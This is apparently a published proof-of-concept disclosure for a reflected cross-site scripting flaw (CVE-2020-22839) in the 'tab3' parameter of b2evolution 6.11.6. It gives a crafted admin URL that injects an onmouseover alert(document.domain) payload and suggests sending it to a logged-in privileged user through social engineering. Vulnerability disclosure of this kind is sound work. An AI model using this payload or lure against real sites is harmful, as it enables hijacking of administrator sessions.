b2evolution 6.11.6 - 'tab3' Reflected XSS

# Exploit Title: b2evolution 6.11.6 - 'tab3' Reflected XSS
# CVE: CVE-2020-22839
# Date: 10/02/2021
# Exploit Author: Nakul Ratti, Soham Bakore
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux

--------------------------Proof of Concept-----------------------

Steps to Reproduce:

1. Send the following URL http://HOST/evoadm.php?.ctrl=comments&filter=restore&tab3=123%22onmouseover=%22alert(document.domain)%22&blog=1&blog=1 to the logged in victim using any social engineering technique.
2. When an unsuspecting user with high privileges opens this URL, XSS will be triggered  which will execute the malicious javascript payload in users browser.
3. The vulnerable parameter in this case is “tab3”.